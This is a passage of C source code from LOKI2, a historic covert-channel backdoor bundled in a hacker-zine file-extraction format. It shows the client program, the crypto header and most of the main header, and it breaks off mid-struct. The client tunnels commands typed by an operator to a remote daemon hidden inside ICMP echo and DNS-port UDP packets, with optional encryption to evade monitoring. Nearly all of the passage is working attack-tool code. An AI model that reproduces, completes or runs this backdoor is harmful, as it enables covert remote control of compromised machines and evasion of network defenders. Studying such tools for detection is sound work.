*/
|
|
|
|
void blur(int m, int bs, u_char *t){}
|
|
|
|
#endif
|
|
|
|
/* EOF */
|
|
<--> crypt.c
|
|
<++> L2/crypt.h
|
|
/*
|
|
* LOKI
|
|
*
|
|
* crypt header file
|
|
*
|
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|
*/
|
|
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
/* 384-bit strong prime */
|
|
|
|
u_char modulus[] =
|
|
{
|
|
|
|
0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A,
|
|
0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49,
|
|
0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14,
|
|
0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,
|
|
|
|
};
|
|
#endif
|
|
<--> crypt.h
|
|
<++> L2/loki.c
|
|
/*
|
|
* LOKI2
|
|
*
|
|
* [ loki.c ]
|
|
*
|
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|
*/
|
|
|
|
|
|
#include "loki.h"
|
|
|
|
jmp_buf env;
|
|
struct loki sdg, rdg;
|
|
int verbose = OK, cflags = 0, ripsock = 0, tsock = 0;
|
|
u_long p_read = 0; /* packets read */
|
|
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
DH *dh_keypair = NULL; /* DH public and private keypair */
|
|
extern u_short ivec_salt;
|
|
#endif
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
static int prot = IPPROTO_ICMP, one = 1, c = 0;
|
|
#ifdef STRONG_CRYPTO
|
|
static int established = 0, retran = 0;
|
|
#endif
|
|
static u_short loki_id = 0;
|
|
int timer = MIN_TIMEOUT;
|
|
u_char buf[BUFSIZE] = {0};
|
|
struct protoent *pprot = 0;
|
|
struct sockaddr_in sin;
|
|
/* Ensure we have proper permissions */
|
|
if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV);
|
|
loki_id = getpid(); /* Allows us to individualize each
|
|
* same protocol loki client session
|
|
* on a given host.
|
|
*/
|
|
bzero((struct sockaddr_in *)&sin, sizeof(sin));
|
|
while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)
|
|
{
|
|
switch (c)
|
|
{
|
|
case 'v': /* change verbosity */
|
|
verbose = atoi(optarg);
|
|
break;
|
|
|
|
case 'd': /* destination address of daemon */
|
|
strncpy(buf, optarg, BUFSIZE - 1);
|
|
sin.sin_family = AF_INET;
|
|
sin.sin_addr.s_addr = name_resolve(buf);
|
|
break;
|
|
|
|
case 't': /* change alarm timer */
|
|
if ((timer = atoi(optarg)) < MIN_TIMEOUT)
|
|
err_exit(1, 0, 1, "Invalid timeout.\n");
|
|
break;
|
|
|
|
case 'p': /* select transport protocol */
|
|
switch (optarg[0])
|
|
{
|
|
case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */
|
|
prot = IPPROTO_ICMP;
|
|
break;
|
|
|
|
case 'u': /* DNS query / reply */
|
|
prot = IPPROTO_UDP;
|
|
break;
|
|
|
|
default:
|
|
err_exit(1, 0, verbose, "Unknown transport.\n");
|
|
}
|
|
break;
|
|
|
|
default:
|
|
err_exit(0, 0, 1, C_MSG_USAGE);
|
|
}
|
|
}
|
|
/* we need a destination address */
|
|
if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE);
|
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|
|
|
#ifdef STRONG_CRYPTO /* ICMP only with strong crypto */
|
|
if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY);
|
|
#endif
|
|
/* Raw socket to build packets */
|
|
if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|
err_exit(1, 1, verbose, L_MSG_SOCKET);
|
|
#ifdef DEBUG
|
|
fprintf(stderr, "\nRaw IP socket: ");
|
|
fd_status(ripsock, OK);
|
|
#endif
|
|
|
|
#ifdef IP_HDRINCL
|
|
if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
|
|
if (verbose) perror("Cannot set IP_HDRINCL socket option");
|
|
#endif
|
|
/* register packet dumping function
|
|
* to be called upon exit
|
|
*/
|
|
if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
|
|
|
|
fprintf(stderr, L_MSG_BANNER);
|
|
for (; ;)
|
|
{
|
|
#ifdef STRONG_CRYPTO
|
|
/* Key negotiation phase. Before we
|
|
* can do anything, we need to share
|
|
* a secret with the server. This
|
|
* is our key management phase.
|
|
* After this is done, we are
|
|
* established. We try MAX_RETRAN
|
|
* times to contact a server.
|
|
*/
|
|
if (!established)
|
|
{
|
|
/* Generate the DH parameters and public
|
|
* and private keypair
|
|
*/
|
|
if (!dh_keypair)
|
|
{
|
|
if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN);
|
|
if (!(dh_keypair = generate_dh_keypair()))
|
|
err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
|
|
}
|
|
if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");
|
|
/* convert the BIGNUM public key
|
|
* into a big endian byte string
|
|
*/
|
|
bzero((u_char *)buf, BUFSIZE);
|
|
BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf);
|
|
/* Submit our key and request to
|
|
* the server (in one packet)
|
|
*/
|
|
if (verbose) fprintf(stderr, C_MSG_PKREQ);
|
|
loki_xmit(buf, loki_id, prot, sin, L_PK_REQ);
|
|
}
|
|
else
|
|
{
|
|
#endif
|
|
bzero((u_char *)buf, BUFSIZE);
|
|
fprintf(stderr, PROMPT); /* prompt user for input */
|
|
read(STDIN_FILENO, buf, BUFSIZE - 1);
|
|
buf[strlen(buf)] = 0;
|
|
/* Nothing to parse */
|
|
if (buf[0] == '\n') continue; /* Escaped command */
|
|
if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
|
|
/* Send request to server */
|
|
loki_xmit(buf, loki_id, prot, sin, L_REQ);
|
|
#ifdef STRONG_CRYPTO
|
|
}
|
|
#endif
|
|
/* change transports */
|
|
if (cflags & NEWTRANS)
|
|
{
|
|
close(tsock);
|
|
prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
|
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|
err_exit(1, 1, verbose, L_MSG_SOCKET);
|
|
|
|
pprot = getprotobynumber(prot);
|
|
if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name);
|
|
cflags &= ~NEWTRANS;
|
|
continue;
|
|
}
|
|
if (cflags & TERMINATE) /* client should exit */
|
|
{
|
|
fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");
|
|
clean_exit(0);
|
|
}
|
|
/* Clear TRAP and VALID PACKET flags */
|
|
cflags &= (~TRAP & ~VALIDP);
|
|
/* set alarm singal handler */
|
|
if (signal(SIGALRM, catch_timeout) == SIG_ERR)
|
|
err_exit(1, 1, verbose, L_MSG_SIGALRM);
|
|
/* returns true if we land here as the
|
|
* result of a longjmp() -- IOW the
|
|
* alarm timer went off
|
|
*/
|
|
if (setjmp(env))
|
|
{
|
|
fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
|
|
cflags |= TRAP;
|
|
#ifdef STRONG_CRYPTO
|
|
if (!established) /* No connection established yet */
|
|
if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot contact server. Giving up.\n");
|
|
else if (verbose) fprintf(stderr, "Resending...\n");
|
|
#endif
|
|
}
|
|
while (!(cflags & TRAP))
|
|
{ /* TRAP will not be set unless the
|
|
* alarm timer expires or we get
|
|
* an EOT packet
|
|
*/
|
|
alarm(timer); /* block until alarm or read */
|
|
|
|
if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
|
|
perror("[non fatal] network read error");
|
|
|
|
switch (prot)
|
|
{ /* Is this a valid Loki packet? */
|
|
case IPPROTO_ICMP:
|
|
if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
|
|
break;
|
|
|
|
case IPPROTO_UDP:
|
|
if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
|
|
break;
|
|
|
|
default:
|
|
err_exit(1, 0, verbose, L_MSG_WIERDERR);
|
|
}
|
|
if (cflags & VALIDP)
|
|
{
|
|
#ifdef DEBUG
|
|
fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
|
|
PACKET_TYPE(rdg);
|
|
DUMP_PACKET(rdg, c);
|
|
#endif
|
|
/* we have a valid packet and can
|
|
* turn off the alarm timer
|
|
*/
|
|
alarm(0);
|
|
switch (rdg.payload[0]) /* determine packet type */
|
|
{
|
|
case L_REPLY : /* standard reply packet */
|
|
bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
|
|
blur(DECR, BUFSIZE - 1, buf);
|
|
#ifndef DEBUG
|
|
fprintf(stderr, "%s", buf);
|
|
#endif
|
|
p_read++;
|
|
break;
|
|
|
|
case L_EOT : /* end of transmission packet */
|
|
cflags |= TRAP;
|
|
p_read++;
|
|
break;
|
|
|
|
case L_ERR : /* error msg packet (not encrypted) */
|
|
bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
|
|
fprintf(stderr, "%s", buf);
|
|
#ifdef STRONG_CRYPTO
|
|
/* If the connection is not established
|
|
* we exit upon receipt of an error
|
|
*/
|
|
if (!established) clean_exit(1);
|
|
#endif
|
|
break;
|
|
#ifdef STRONG_CRYPTO
|
|
case L_PK_REPLY : /* public-key receipt */
|
|
if (verbose) fprintf(stderr, C_MSG_PKREC);
|
|
/* compute DH key parameters */
|
|
DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
|
|
/* extract blowfish key from the
|
|
* DH shared secret.
|
|
*/
|
|
if (verbose) fprintf(stderr, C_MSG_SKSET);
|
|
extract_bf_key(buf, OK);
|
|
established = OK;
|
|
break;
|
|
#endif
|
|
case L_QUIT: /* termination directive packet */
|
|
fprintf(stderr, C_MSG_MUSTQUIT);
|
|
clean_exit(0);
|
|
|
|
default :
|
|
fprintf(stderr, "\nUnknown LOKI packet type");
|
|
break;
|
|
}
|
|
cflags &= ~VALIDP; /* reset VALID PACKET flag */
|
|
}
|
|
}
|
|
}
|
|
return (0);
|
|
}
|
|
|
|
|
|
/*
|
|
* Build and transmit Loki packets (client version)
|
|
*/
|
|
|
|
void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int ptype)
|
|
{
|
|
|
|
bzero((struct loki *)&sdg, LOKIP_SIZE);
|
|
/* Encrypt and load payload, unless
|
|
* we are doing key management
|
|
*/
|
|
if (ptype != L_PK_REQ)
|
|
{
|
|
#ifdef STRONG_CRYPTO
|
|
ivec_salt++;
|
|
#endif
|
|
blur(ENCR, BUFSIZE - 1, payload);
|
|
}
|
|
bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
|
|
|
|
if (prot == IPPROTO_ICMP)
|
|
{
|
|
#ifdef NET3 /* Our workaround. */
|
|
sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;
|
|
#else
|
|
sdg.ttype.icmph.icmp_type = ICMP_ECHO;
|
|
#endif
|
|
sdg.ttype.icmph.icmp_code = (int)NULL;
|
|
sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */
|
|
sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */
|
|
sdg.payload[0] = ptype;
|
|
sdg.ttype.icmph.icmp_cksum =
|
|
i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
|
|
}
|
|
if (prot == IPPROTO_UDP)
|
|
{
|
|
sdg.ttype.udph.uh_sport = loki_id;
|
|
sdg.ttype.udph.uh_dport = NL_PORT;
|
|
sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE);
|
|
sdg.payload[0] = ptype;
|
|
sdg.ttype.udph.uh_sum =
|
|
i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
|
|
}
|
|
sdg.iph.ip_v = 0x4;
|
|
sdg.iph.ip_hl = 0x5;
|
|
sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);
|
|
sdg.iph.ip_ttl = 0x40;
|
|
sdg.iph.ip_p = prot;
|
|
sdg.iph.ip_dst = sin.sin_addr.s_addr;
|
|
|
|
if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE))
|
|
{
|
|
if (verbose) perror("[non fatal] truncated write");
|
|
}
|
|
}
|
|
|
|
|
|
/*
|
|
* help is here
|
|
*/
|
|
|
|
void help()
|
|
{
|
|
|
|
fprintf(stderr,"
|
|
%s\t\t- you are here
|
|
%s xx\t\t- change alarm timeout to xx seconds (minimum of %d)
|
|
%s\t\t- query loki server for client statistics
|
|
%s\t\t- query loki server for all client statistics
|
|
%s\t\t- swap the transport protocol ( UDP <-> ICMP ) [in beta]
|
|
%s\t\t- quit the client
|
|
%s\t\t- quit this client and kill all other clients (and the server)
|
|
%s dest\t\t- proxy to another server [ UNIMPLIMENTED ]
|
|
%s dest\t- redirect to another client [ UNIMPLIMENTED ]\n",
|
|
|
|
HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C);
|
|
}
|
|
|
|
|
|
/*
|
|
* parse escaped commands
|
|
*/
|
|
|
|
int c_parse(u_char *buf, int *timer)
|
|
{
|
|
|
|
cflags &= ~VALIDC;
|
|
/* help */
|
|
if (!strncmp(buf, HELP, sizeof(HELP) - 1) || buf[1] == '?')
|
|
{
|
|
help();
|
|
return (NOK);
|
|
}
|
|
/* change alarm timer */
|
|
else if (!strncmp(buf, TIMER, sizeof(TIMER) - 1))
|
|
{
|
|
cflags |= VALIDC;
|
|
(*timer) = atoi(&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT;
|
|
fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
|
|
return (NOK);
|
|
}
|
|
/* Quit client, send notice to server */
|
|
else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
|
|
cflags |= (TERMINATE | VALIDC);
|
|
/* Quit client, send kill to server */
|
|
else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
|
|
cflags |= (TERMINATE | VALIDC);
|
|
/* Request server-side statistics */
|
|
else if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
|
|
cflags |= VALIDC;
|
|
/* Swap transport protocols */
|
|
else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
|
|
{
|
|
/* When using strong crypto we do not
|
|
* want to swap protocols.
|
|
*/
|
|
#ifdef STRONG_CRYPTO
|
|
fprintf(stderr, C_MSG_NOSWAP);
|
|
return (NOK);
|
|
#elif !(__linux__)
|
|
fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n");
|
|
return (NOK);
|
|
#else
|
|
cflags |= (NEWTRANS | VALIDC);
|
|
#endif
|
|
|
|
}
|
|
/* Request server to redirect output
|
|
* to another LOKI client
|
|
*/
|
|
else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) - 1))
|
|
cflags |= (REDIRECT | VALIDC);
|
|
/* Request server to simply proxy
|
|
* requests to another LOKI server
|
|
*/
|
|
else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) - 1))
|
|
cflags |= (PROXY | VALIDC);
|
|
|
|
/* Bad command trap */
|
|
if (!(cflags & VALIDC))
|
|
{
|
|
fprintf(stderr, "Unrecognized command %s\n",buf);
|
|
return (NOK);
|
|
}
|
|
|
|
return (OK);
|
|
}
|
|
|
|
|
|
/*
|
|
* Dumps packets read by client...
|
|
*/
|
|
|
|
void packets_read()
|
|
{
|
|
fprintf(stderr, "Packets read: %ld\n", p_read);
|
|
}
|
|
|
|
/* EOF */
|
|
<--> loki.c
|
|
<++> L2/loki.h
|
|
#ifndef __LOKI_H__
|
|
#define __LOKI_H__
|
|
|
|
/*
|
|
* LOKI
|
|
*
|
|
* loki header file
|
|
*
|
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <signal.h>
|
|
#include <pwd.h>
|
|
#include <unistd.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
#include <fcntl.h>
|
|
#include <time.h>
|
|
#include <grp.h>
|
|
#include <termios.h>
|
|
#include <sys/ipc.h>
|
|
#include <sys/sem.h>
|
|
#include <sys/shm.h>
|
|
#include <setjmp.h>
|
|
|
|
#ifdef LINUX
|
|
#include <linux/icmp.h>
|
|
#include <linux/ip.h>
|
|
#include <linux/signal.h>
|
|
/* BSDish nomenclature */
|
|
#define ip iphdr
|
|
#define ip_v version
|
|
#define ip_hl ihl
|
|
#define ip_len tot_len
|
|
#define ip_ttl ttl
|
|
#define ip_p protocol
|
|
#define ip_dst daddr
|
|
#define ip_src saddr
|
|
#endif
|
|
|
|
#ifdef BSD4
|
|
#include <netinet/in_systm.h>
|
|
#include <netinet/ip_var.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/tcp.h>
|
|
#include <netinet/tcpip.h>
|
|
#include <netinet/ip_icmp.h>
|
|
#include <netinet/icmp_var.h>
|
|
#include <sys/sockio.h>
|
|
#include <sys/termios.h>
|
|
#include <sys/signal.h>
|
|
|
|
#undef icmp_id
|
|
#undef icmp_seq
|
|
#define ip_dst ip_dst.s_addr
|
|
#define ip_src ip_src.s_addr
|
|
#endif
|
|
|
|
#ifdef SOLARIS
|
|
#include <netinet/in_systm.h>
|
|
#include <netinet/in.h>
|
|
#include <netinet/ip_var.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/tcp.h>
|
|
#include <netinet/tcpip.h>
|
|
#include <netinet/ip_icmp.h>
|
|
#include <netinet/icmp_var.h>
|
|
#include <sys/sockio.h>
|
|
#include <sys/termios.h>
|
|
#include <sys/signal.h>
|
|
#include <strings.h>
|
|
#include <unistd.h>
|
|
|
|
#undef icmp_id
|
|
#undef icmp_seq
|
|
#define ip_dst ip_dst.s_addr
|
|
#define ip_src ip_src.s_addr
|
|
#endif
|
|
|
|
#ifdef BROKEN_IP_LEN
|
|
#define FIX_LEN(n) (x) /* FreeBSD needs this */
|
|
#else
|
|
#define FIX_LEN(n) htons(n)
|
|
#endif
|
|
|
|
|
|
/*
|
|
* Net/3 will not pass ICMP_ECHO packets to user processes.
|
|
*/
|
|
|
|
#ifdef NET3
|
|
#define D_P_TYPE ICMP_ECHO
|
|
#define C_P_TYPE ICMP_ECHOREPLY
|
|
#else
|
|
#define D_P_TYPE ICMP_ECHOREPLY
|
|
#define C_P_TYPE ICMP_ECHO
|
|
#endif
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
#include "/usr/local/ssl/include/blowfish.h"
|
|
#include "/usr/local/ssl/include/bn.h"
|
|
#include "/usr/local/ssl/include/dh.h"
|
|
#include "/usr/local/ssl/include/buffer.h"
|
|
|
|
#define BF_KEYSIZE 16 /* blowfish key in bytes */
|
|
#define IVEC_SIZE 7 /* I grabbed this outta thin air. */
|
|
#define BN2BIN_SIZE 48 /* bn2bin byte-size of 384-bit prime */
|
|
#endif
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
#define CRYPTO_TYPE "blowfish"
|
|
#endif
|
|
#ifdef WEAK_CRYPTO
|
|
#define CRYPTO_TYPE "XOR"
|
|
#endif
|
|
#ifdef NO_CRYPTO
|
|
#define CRYPTO_TYPE "none"
|
|
#endif
|
|
|
|
|
|
/* Start user configurable options */
|
|
|
|
#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */
|
|
#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */
|
|
#define MAX_CLIENT 0xa /* maximum server-side client count */
|
|
#define KEY_TIMER 0xe10 /* maximum server-side idle client TTL */
|
|
|
|
/* End user configurable options */
|
|
|
|
|
|
|
|
#define VERSION "2.0"
|
|
#define BUFSIZE 0x38 /* We build packets with a fixed payload.
|
|
* Fine for ICMP_ECHO/ECHOREPLY packets as they
|
|
* often default to a 56 byte payload. However
|
|
* DNS query/reply packets have no set size and
|
|
* are generally oddly sized with no padding.
|
|
*/
|
|
|
|
#define ICMPH_SIZE 8
|
|
#define UDPH_SIZE 8
|
|
#define NL_PORT htons(0x35)
|
|
|
|
#define PROMPT "loki> "
|
|
#define ENCR 1 /* symbolic for encrypt */
|
|
#define DECR 0 /* symbolic for decrypt */
|
|
#define NOCR 1 /* don't encrypt this packet */
|
|
#define OKCR 0 /* encrypt this packet */
|
|
#define OK 1 /* Positive acknowledgement */
|
|
#define NOK 0 /* Negative acknowledgement */
|
|
#define NNOK -1 /* Really negative acknowledgement */
|
|
#define FIND 1 /* Controls locate_client */
|
|
#define DESTROY 2 /* disposition */
|
|
|
|
/* LOKI packet type symbolics */
|
|
|
|
#define L_TAG 0xf001 /* Tags packets as LOKI */
|
|
#define L_PK_REQ 0xa1 /* Public Key request packet */
|
|
#define L_PK_REPLY 0xa2 /* Public Key reply packet */
|
|
#define L_EOK 0xa3 /* Encrypted ok */
|
|
#define L_REQ 0xb1 /* Standard reuqest packet */
|
|
#define L_REPLY 0xb2 /* Standard reply packet */
|
|
#define L_ERR 0xc1 /* Error of some kind */
|
|
#define L_ACK 0xd1 /* Acknowledgement */
|
|
#define L_QUIT 0xd2 /* Receiver should exit */
|
|
#define L_EOT 0xf1 /* End Of Transmission packet */
|
|
|
|
/* Packet type printing macro */
|
|
|
|
#ifdef DEBUG
|
|
#define PACKET_TYPE(ldg)\
|
|
\
|
|
if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \
|
|
else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \
|
|
else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \
|
|
else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \
|
|
else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \
|
|
else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \
|
|
else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \
|
|
else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \
|
|
else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \
|
|
else fprintf(stderr, "Unknown"); \
|
|
if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
|
|
else fprintf(stderr, "\n");\
|
|
|
|
#define DUMP_PACKET(ldg, i)\
|
|
\
|
|
for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \
|
|
fprintf(stderr, "\n");\
|
|
|
|
#endif
|
|
|
|
|
|
/*
|
|
* Escaped commands (not interpreted by the shell)
|
|
*/
|
|
|
|
#define HELP "/help" /* Help me */
|
|
#define TIMER "/timer" /* Change the client side timer */
|
|
#define QUIT_C "/quit" /* Quit the client */
|
|
#define QUIT_ALL "/quit all" /* Kill all clients and server */
|
|
#define STAT_C "/stat" /* Stat the client */
|
|
#define STAT_ALL "/stat all" /* Stat all the clients */
|
|
#define SWAP_T "/swapt" /* Swap protocols */
|
|
#define REDIR_C "/redirect" /* Redirect to another client */
|
|
#define PROXY_D "/proxy" /* Proxy to another server */
|
|
|
|
/*
|
|
* Control flag symbolics
|
|
*/
|
|
|
|
#define TERMINATE 0x01
|
|
#define TRAP 0x02
|
|
#define VALIDC 0x04
|
|
#define VALIDP 0x08
|
|
#define NEWTRANS 0x10
|
|
#define REDIRECT 0x20
|
|
#define PROXY 0x40
|
|
#define SENDKILL 0x80
|
|
|
|
|
|
/*
|
|
* Message Strings
|
|
* L_ == common to both server and client
|
|
* S_ == specific to server
|
|
* C_ == specific to client
|
|
*/
|
|
|
|
#define L_MSG_BANNER "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n"
|
|
#define L_MSG_NOPRIV "\n[fatal] invalid user identification value"
|
|
#define L_MSG_SOCKET "[fatal] socket allocation error"
|
|
#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n"
|
|
#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)"
|
|
#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair"
|
|
#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n"
|
|
#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM"
|
|
#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1"
|
|
#define L_MSG_SIGCHLD "[fatal] cannot catch SIGCHLD"
|
|
#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n"
|
|
#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n"
|
|
#define S_MSG_UNKNOWN "\nlokid: cannot locate client entry in database\n"
|
|
#define S_MSG_UNSUP "\nlokid: unsupported or unknown command string\n"
|
|
#define S_MSG_ICMPONLY "\nlokid: ICMP protocol only with strong cryptography\n"
|
|
#define S_MSG_CLIENTK "\nlokid: clean exit (killed at client request)\n"
|
|
#define S_MSG_DUP "\nlokid: duplicate client entry found, updating\n"
|
|
#define S_MSG_USAGE "\nlokid -p (i|u) [ -v (0|1) ]\n"
|
|
#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
|
|
#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n"
|
|
#define C_MSG_NOSWAP "\nloki: cannot swap protocols with strong crypto\n"
|
|
#define C_MSG_PKREQ "loki: requesting public from server\n"
|
|
#define C_MSG_PKREC "loki: received public key, computing shared secret\n"
|
|
#define C_MSG_SKSET "loki: extracting and setting expanded blowfish key\n"
|
|
#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n"
|
|
|
|
/*
|
|
* Macros to evaluate packets to determine if they are LOKI or not.
|
|
* These are UGLY.
|
|
*/
|
|
|
|
|
|
/*
|
|
* ICMP_ECHO client packet check
|
|
*/
|
|
|
|
#define IS_GOOD_ITYPE_C(ldg)\
|
|
\
|
|
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
|
|
ldg.ttype.icmph.icmp_type == D_P_TYPE &&\
|
|
ldg.ttype.icmph.icmp_id == loki_id &&\
|
|
ldg.ttype.icmph.icmp_seq == L_TAG &&\
|
|
(ldg.payload[0] == L_REPLY ||\
|
|
ldg.payload[0] == L_PK_REPLY ||\
|
|
ldg.payload[0] == L_EOT ||\
|
|
ldg.payload[0] == L_QUIT ||\
|
|
ldg.payload[0] == L_ERR)) ==\
|
|
(1) ? (1) : (0)\
|
|
/*
|
|
* ICMP_ECHO daemon packet check
|
|
*/
|
|
|
|
#define IS_GOOD_ITYPE_D(ldg)\
|
|
\
|
|
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
|
|
ldg.ttype.icmph.icmp_type == C_P_TYPE &&\
|
|
ldg.ttype.icmph.icmp_seq == L_TAG &&\
|
|
(ldg.payload[0] == L_REQ ||\
|
|
ldg.payload[0] == L_QUIT ||\
|
|
ldg.payload[0] == L_PK_REQ)) ==\
|
|
(1) ? (1) : (0)\
|
|
/*
|
|
* UDP client packet check
|
|
*/
|
|
|
|
#define IS_GOOD_UTYPE_C(ldg)\
|
|
\
|
|
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
|
|
ldg.ttype.udph.uh_sport == NL_PORT &&\
|
|
ldg.ttype.udph.uh_dport == loki_id &&\
|
|
(ldg.payload[0] == L_REPLY ||\
|
|
ldg.payload[0] == L_EOT ||\
|
|
ldg.payload[0] == L_QUIT ||\
|
|
ldg.payload[0] == L_ERR)) ==\
|
|
(1) ? (1) : (0)\
|
|
/*
|
|
* UDP daemon packet check. Yikes. We need more info here.
|
|
*/
|
|
|
|
#define IS_GOOD_UTYPE_D(ldg)\
|
|
\
|
|
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
|
|
ldg.ttype.udph.uh_dport == NL_PORT &&\
|
|
(ldg.payload[0] == L_QUIT ||\
|
|
ldg.payload[0] == L_REQ)) ==\
|
|
(1) ? (1) : (0)\
|
|
/*
|
|
* ICMP_ECHO / ICMP_ECHOREPLY header prototype
|
|
*/
|
|
|
|
struct icmp_echo
|
|
{
|
|
u_char icmp_type; /* 1 byte type */
|
|
u_char icmp_code; /* 1 byte code */
|
|
u_short icmp_cksum; /* 2 byte checksum */
|
|
u_short icmp_id; /* 2 byte identification */
|
|
u_short icmp_seq; /* 2 byte sequence number */
|
|
};
|
|
|
|
|
|
/*
|
|
* UDP header prototype
|
|
*/
|
|
|
|
struct udp
|
|
{
|
|
u_short uh_sport; /* 2 byte source port */
|
|
u_short uh_dport; /* 2 byte destination port */
|
|
